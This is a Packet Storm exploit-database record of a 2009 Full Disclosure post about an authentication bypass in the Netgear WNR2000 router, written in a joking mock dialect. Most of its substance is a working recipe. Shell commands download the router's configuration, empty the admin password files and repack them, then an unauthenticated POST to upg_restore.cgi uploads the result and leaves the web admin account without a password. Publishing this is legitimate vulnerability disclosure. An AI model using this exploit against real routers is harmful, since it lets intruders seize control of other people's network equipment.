ID PACKETSTORM:97449 Type packetstorm Reporter Jean Trolleur Modified 2009-08-20T00:00:00
Description
`From: http://seclists.org/fulldisclosure/2009/Aug/280
---
From: Jean Trolleur <sigtstp@gmail com>
Date: Thu, 20 Aug 2009 13:05:19 -0600
Dere be an audenticashun bypass vulnerability on de Netgear WNR2000
routa' runnin' firmware 1.2.0.8 dat kin allow fo' an attacka' to
change da damn admin passwo'd fo' de web interface widout
audenticashun. Dis be due t'a lack uh audenticashun in
/cgi-bin/upg_restore.cgi. Dig dis:
# wget http://netgear/cgi-bin/NETGEAR_WNR2000.cfg
# dd if=NETGEAR_WNR2000.cfg of=omfg.tar bs=1 skip=128
# dd if=NETGEAR_WNR2000.cfg of=header bs=1 count=128
# tar xf omfg.tar
# cd configs
# rm http_passwd
# touch http_passwd
# echo -n 0 > router_passwd_length
# cd ..
# tar cf wtf.tar configs/*
# cat header wtf.tar > NETGEAR_WNR2000.cfg
Followin' dis, de modified NETGEAR_WNR2000.cfg stash kin be sent in da
unaudenticated POST request to:
http://netgear/cgi-bin/upg_restore.cgi?/cgi-bin/restore_process.html
At dis point, dere gots'ta no longa' be some passwo'd fo' de admin account. Man!
Some sucka at Netgear should real publish some security contact and
GPG key on deir website t'encourage responsible disclosho' man.
`
{"hash": "2ba188a1150a35d42940f33b3009fcbb1772a0761a12c3cb652aff54a7cb6a44", "edition": 1, "references": [], "objectVersion": "1.2", "viewCount": 0, "type": "packetstorm", "description": "", "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/97449/Netgear-WNR2000-Bypass.html", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "ed9f4f715b73cc41bf3d88720286e9ad"}, {"key": "modified", "hash": "25c4b5d056973f15539883a4c8abdeaf"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "25c4b5d056973f15539883a4c8abdeaf"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "7ed15999f210d044df24b678e2979ba7"}, {"key": "sourceData", "hash": "59977889041f41b3859fa0e53bcb22b4"}, {"key": "sourceHref", "hash": "ecea7f6834bb255fdfa719c848630d59"}, {"key": "title", "hash": "a35eb0f374549cf2a6413ffeb679305e"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "published": "2009-08-20T00:00:00", "modified": "2009-08-20T00:00:00", "title": "Netgear WNR2000 Bypass", "cvelist": [], "sourceHref": "https://packetstormsecurity.com/files/download/97449/wnr2000-bypass.txt", "history": [], "reporter": "Jean Trolleur", "lastseen": "2016-11-03T10:26:36", "cvss": {"vector": "NONE", "score": 0.0}, "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "vulnersScore": 5.0}, "sourceData": "`From: http://seclists.org/fulldisclosure/2009/Aug/280 \n--- \nFrom: Jean Trolleur <sigtstp@gmail com> \nDate: Thu, 20 Aug 2009 13:05:19 -0600 \n \nDere be an audenticashun bypass vulnerability on de Netgear WNR2000 \nrouta' runnin' firmware 1.2.0.8 dat kin allow fo' an attacka' to \nchange da damn admin passwo'd fo' de web interface widout \naudenticashun. Dis be due t'a lack uh audenticashun in \n/cgi-bin/upg_restore.cgi. Dig dis: \n \n# wget http://netgear/cgi-bin/NETGEAR_WNR2000.cfg \n# dd if=NETGEAR_WNR2000.cfg of=omfg.tar bs=1 skip=128 \n# dd if=NETGEAR_WNR2000.cfg of=header bs=1 count=128 \n# tar xf omfg.tar \n# cd configs \n# rm http_passwd \n# touch http_passwd \n# echo -n 0 > router_passwd_length \n# cd .. \n# tar cf wtf.tar configs/* \n# cat header wtf.tar > NETGEAR_WNR2000.cfg \n \nFollowin' dis, de modified NETGEAR_WNR2000.cfg stash kin be sent in da \nunaudenticated POST request to: \n \nhttp://netgear/cgi-bin/upg_restore.cgi?/cgi-bin/restore_process.html \n \nAt dis point, dere gots'ta no longa' be some passwo'd fo' de admin account. Man! \n \nSome sucka at Netgear should real publish some security contact and \nGPG key on deir website t'encourage responsible disclosho' man. \n`\n", "id": "PACKETSTORM:97449"}
